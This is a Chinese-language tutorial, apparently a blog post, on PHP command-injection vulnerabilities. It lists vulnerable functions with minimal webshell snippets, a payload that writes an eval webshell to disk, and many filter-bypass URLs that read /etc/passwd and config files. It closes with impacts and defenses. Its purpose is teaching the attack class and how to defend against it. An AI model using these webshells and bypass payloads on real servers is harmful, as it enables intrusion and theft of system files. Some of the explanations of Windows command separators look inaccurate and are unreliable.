1.漏洞的成因
应用程序在调用可以执行系统命令的函数时,用户可以控制函数的参数或者函数本身,利用系统命令拼接符将恶意命令拼接到正常的函数中,从而执行系统命令。
2.命令拼接符
windoes:
&:拼接符两边只要有一个为真就执行
&&:命令拼接符拼接多个命令时,遇到假的终止执行
|:命令拼接符拼接多个命令时,只要有一个为假都不执行;
如果为真都执行,但只是回显最后一个命令的运行结果;
||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;
2.2Linux命令拼接符
;无论拼接的命令为真还是为假都按照顺序执行命令;
&:无论命令为真或者为假,都执行但不按照顺序执行;
&&:如果都为真时按照顺序执行;如果存在假的测终止执行
|:如果都为真都执行,但只回显最后一个命令
||:如果都为真,则只执行第一个;如果存在假的指令时,按照
3.系统命令函数
3.1.system
3.1.1.作用
把字符串作为命令执行,自带输出功能
3.1.2.案例
payload:
<?php
echo "<pre>";
system($_POST['cmd']);
?>
![](https://i-blog.csdnimg.cn/blog_migrate/5912229e673f7cb163709e286c9730c2.png)
向目标服务器写木马,payload如下:
?cmd=echo "<?php @eval($_POST['shell'])?>" > shell.php
此方法会受到权限的限制,可能无法成功。
3.2.passthru()
3.2.1.作用
将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
3.2.2.案例
<?php
echo "<pre>";
passthru($_POST['cmd']);
?>
![](https://i-blog.csdnimg.cn/blog_migrate/1573fb971d515fa4601a89c3ebb6e683.png)
3.3.exec()
3.3.1.作用
此函数会将字符串当作系统命令执行,但是只显示执行结果的最后一行。
3.3.2.案例
<?php
echo "<pre>";
echo exec($_POST['cmd']); //print exec($_POST['cmd']);
?>
![](https://i-blog.csdnimg.cn/blog_migrate/f1e63144f83ea236fb3f76777d3eac10.png)
3.4.pcntl_exec()
3.4.1.作用
当前进程空间执行指定程序。
3.4.2案例
<?php pcntl_exec("/bin/bash",array($_POST["cmd"]));?>
此函数执行需要系统环境中有php的pcntl扩展程序方可执行,如果目标服务器中不存在此环境,则此函数将无法生效。
3.5.shell_exec()函数
3.5.1.作用
将字符串作为系统命令执行,需要输出执行结果,且输出全部的内容。
3.5.2.案例
<?php echo shell_exec($_POST["cmd"]); ?>
<?php print shell_exec($_POST["cmd"]); ?>
![](https://i-blog.csdnimg.cn/blog_migrate/0b72e32b4776b303dff6dbc395d579f8.png)
3.6.反引号
3.6.1.作用
反引号里面的代码也会被当作系统命令来执行。
3.6.2.案例
<?php
echo "<pre>";
$cmd=$_GET['cmd'];
print `$cmd`;
?>
![](https://i-blog.csdnimg.cn/blog_migrate/6403b699615989e229fb75b4af2e80f9.png)
4.绕过(原理 名字不同 效果相同)
4.1.无回显
cuil dnslog盲注
4.2.空格绕过
4.2.1.$IFS
$IFS是linux系统的特殊环境变量,是系统域内的分隔符,IFS存储的值可以是空格、tab、换行符或者其他自定义的符号。此方法在使用cat命令时必须使用绝对路径进行查看。
案例:
http://XXXX/os/fy.php/?cmd=cat$IFS/etc/passwd
![](https://i-blog.csdnimg.cn/blog_migrate/d09f11c236220cf8ee60318302b1755f.png)
4.2.2. %09
%09是tab键的URL编码值。
案例:
http://xxxxx/os/fy.php/?cmd=cat%09/etc/resolv.conf
![](https://i-blog.csdnimg.cn/blog_migrate/161a15f833b0d3a1f89c59721c2f040b.png)
4.2.3.{}
可以将要执行的内容包含在{}内部进行执行。
案例;
http://xxxxx/os/fy.php/?cmd={cat,/etc/passwd}
![](https://i-blog.csdnimg.cn/blog_migrate/92990a58b14cf2627159cc5227f7a6a9.png)
案例:
4.2.4.linux重定向符号
只能使用"<"代替空格,“<<”、">>"、">"都不会执行结果。
案例:
http://xxxx/os/fy.php/?cmd=cat</etc/php.ini
![](https://i-blog.csdnimg.cn/blog_migrate/ab2daa9f565e74cabef0b09d79c03751.png)
4.3绕过关键字
4.3.1.变量拼接
Linux支持变量赋值,可以通过变量拼接来绕过过滤规则。
案例:
http://xxxx/os/fy.php/?cmd=a=c;b=at;$a$b /etc/passwd
![](https://i-blog.csdnimg.cn/blog_migrate/a653ac6f2630f968769e5a889673fb67.png)
4.3.2.空变量绕过
ca${x}t /etc/passwd/ ---> cat /etc/passwd/
http://xxxx/os/fy.php/?cmd=ca${x}t /etc/passwd
ca${x}t /etc/passwd/ ---> cat /etc/passwd/
![](https://i-blog.csdnimg.cn/blog_migrate/baf772e1ee7f086283913edca53c9fcc.png)
4.3.3.系统变量绕过
$*是系统变量,可以利用系统变量的字符拼接为命令来绕过过滤。
![](https://i-blog.csdnimg.cn/blog_migrate/48f4cb733f97df4f19467756a1f5aa88.png)
案例:
http://xxxx/os/fy.php/?cmd=ca$*t /etc/passwd
![](https://i-blog.csdnimg.cn/blog_migrate/c3e59743bdd304ac2d8c2f81811a5acd.png)
4.3.4.反斜杠绕过/
http://xxx/os/fy.php/?cmd=c\a\t /etc/passwd
![](https://i-blog.csdnimg.cn/blog_migrate/914b9f79e167415ceb2e64306054210a.png)
案例:
4.3.5.通配符绕过
http://xxx/os/fy.php/?cmd=ca$*t%20/etc/*cnf
案例:
![](https://i-blog.csdnimg.cn/blog_migrate/4f9f29175843fef8c469daf13f243b0a.png)
5.危害
*可以导致getshell
执行系统命令
写入一句话木马
反弹shell
6.防御
防御方法是在php.ini中禁用这些函数disable_functions=system,exec,
尽量不要使用外部命令
使用自定义函数或外部函数库代替外部函数的功能
使用escapeshellarg函数来处理命令参数
7.代码执行函数与命令执行函数漏洞的区别
1.相同点
都使用了函数,并且函数变量的参数可以被控制
可以通过代码审计发现相关的漏洞
可以拼接恶意命令对服务器造成攻击
2.不同点
命令执行漏洞是直接通过php的系统命令函数直接操作系统命令,当函数的参数被用户控制时,就可以造成命令执行漏洞;
代码执行漏洞是通过代码执行程序的漏洞,例如:eval(system['cat /etc/passwd'])